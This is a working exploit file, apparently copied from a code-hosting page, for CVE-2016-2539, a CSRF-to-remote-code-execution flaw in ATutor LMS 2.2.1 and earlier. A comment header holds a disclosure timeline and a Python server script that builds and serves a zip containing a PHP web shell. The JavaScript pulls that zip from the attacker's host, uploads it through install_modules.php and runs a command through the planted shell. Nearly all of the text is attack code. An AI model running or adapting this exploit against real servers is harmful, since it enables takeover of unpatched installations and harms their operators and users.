138 lines
No EOL
4.3 KiB
JavaScript
138 lines
No EOL
4.3 KiB
JavaScript
/* exp.js
|
|
|
|
ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
|
|
by mr_me
|
|
|
|
Notes:
|
|
``````
|
|
- Discovered for @ipn_mx students advanced php vuln/dev class
|
|
- Tested on the latest FireFox 44.0.2 release build
|
|
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
|
|
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
|
|
- Use this with your favorite XSS attack
|
|
- Student proof, aka bullet proof
|
|
|
|
Timeline:
|
|
`````````
|
|
23/02/2016 - notified vendor via info[at]atutor[dot]ca
|
|
24/02/2016 - requested CVE and assigned CVE-2016-2539
|
|
24/02/2016 - vendor replied stating they are investigating the issue
|
|
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
|
|
06/03/2016 - coordinated public release
|
|
|
|
Example:
|
|
````````
|
|
mr_me@jupiter:~$ cat poc.py
|
|
#!/usr/bin/python
|
|
|
|
import sys
|
|
import zipfile
|
|
import BaseHTTPServer
|
|
from cStringIO import StringIO
|
|
from SimpleHTTPServer import SimpleHTTPRequestHandler
|
|
|
|
if len(sys.argv) < 3:
|
|
print "Usage: %s <lport> <target>" % sys.argv[0]
|
|
print "eg: %s 8000 172.16.69.128" % sys.argv[0]
|
|
sys.exit(1)
|
|
|
|
def _build_zip():
|
|
"""
|
|
builds the zip file
|
|
"""
|
|
f = StringIO()
|
|
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
|
z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
|
|
z.close()
|
|
handle = open('pwn.zip','wb')
|
|
handle.write(f.getvalue())
|
|
handle.close
|
|
|
|
class CORSRequestHandler (SimpleHTTPRequestHandler):
|
|
def end_headers (self):
|
|
self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
|
|
SimpleHTTPRequestHandler.end_headers(self)
|
|
|
|
if __name__ == '__main__':
|
|
_build_zip()
|
|
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
|
|
|
|
mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
|
|
Serving HTTP on 0.0.0.0 port 8000 ...
|
|
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
|
|
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -
|
|
|
|
~ de Mexico con amor,
|
|
|
|
*/
|
|
|
|
var get_hostname = function(href) {
|
|
var l = document.createElement("a");
|
|
l.href = href;
|
|
return l.hostname + ":" + l.port;
|
|
};
|
|
|
|
function trolololol(url, file_data, filename) {
|
|
var file_size = file_data.length,
|
|
boundary = "828116593165207937691721278",
|
|
xhr = new XMLHttpRequest();
|
|
|
|
// latest ff doesnt have sendAsBinary(), so we redefine it
|
|
if(!xhr.sendAsBinary){
|
|
xhr.sendAsBinary = function(datastr) {
|
|
function byteValue(x) {
|
|
return x.charCodeAt(0) & 0xff;
|
|
}
|
|
var ords = Array.prototype.map.call(datastr, byteValue);
|
|
var ui8a = new Uint8Array(ords);
|
|
this.send(ui8a.buffer);
|
|
}
|
|
}
|
|
|
|
// the callback after this stage is done...
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
xhr = new XMLHttpRequest();
|
|
// change this if you change the zip
|
|
xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
|
|
xhr.send();
|
|
}
|
|
}
|
|
|
|
xhr.open("POST", url, true);
|
|
// simulate a file MIME POST request.
|
|
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
|
xhr.setRequestHeader("Content-Length", file_size);
|
|
var body = "--" + boundary + "\r\n";
|
|
body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
|
|
body += "Content-Type: archive/zip\r\n\r\n";
|
|
body += file_data + "\r\n";
|
|
body += "--" + boundary + "\r\n";
|
|
body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
|
|
body += "junk\r\n";
|
|
body += "--" + boundary;
|
|
xhr.sendAsBinary(body);
|
|
return true;
|
|
}
|
|
|
|
function pwn(){
|
|
var xhr = new XMLHttpRequest();
|
|
// et phone home
|
|
var home = get_hostname(document.scripts[0].src);
|
|
// get our own zip file
|
|
xhr.open('GET', 'http://' + home + '/pwn.zip', true);
|
|
xhr.responseType = 'blob';
|
|
xhr.onload = function(e) {
|
|
if (this.status == 200) {
|
|
// use the FileReader class to get the raw binary
|
|
var reader = new window.FileReader();
|
|
reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'}));
|
|
reader.onloadend = function() {
|
|
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
|
|
}
|
|
}
|
|
};
|
|
xhr.send();
|
|
}
|
|
|
|
pwn(); |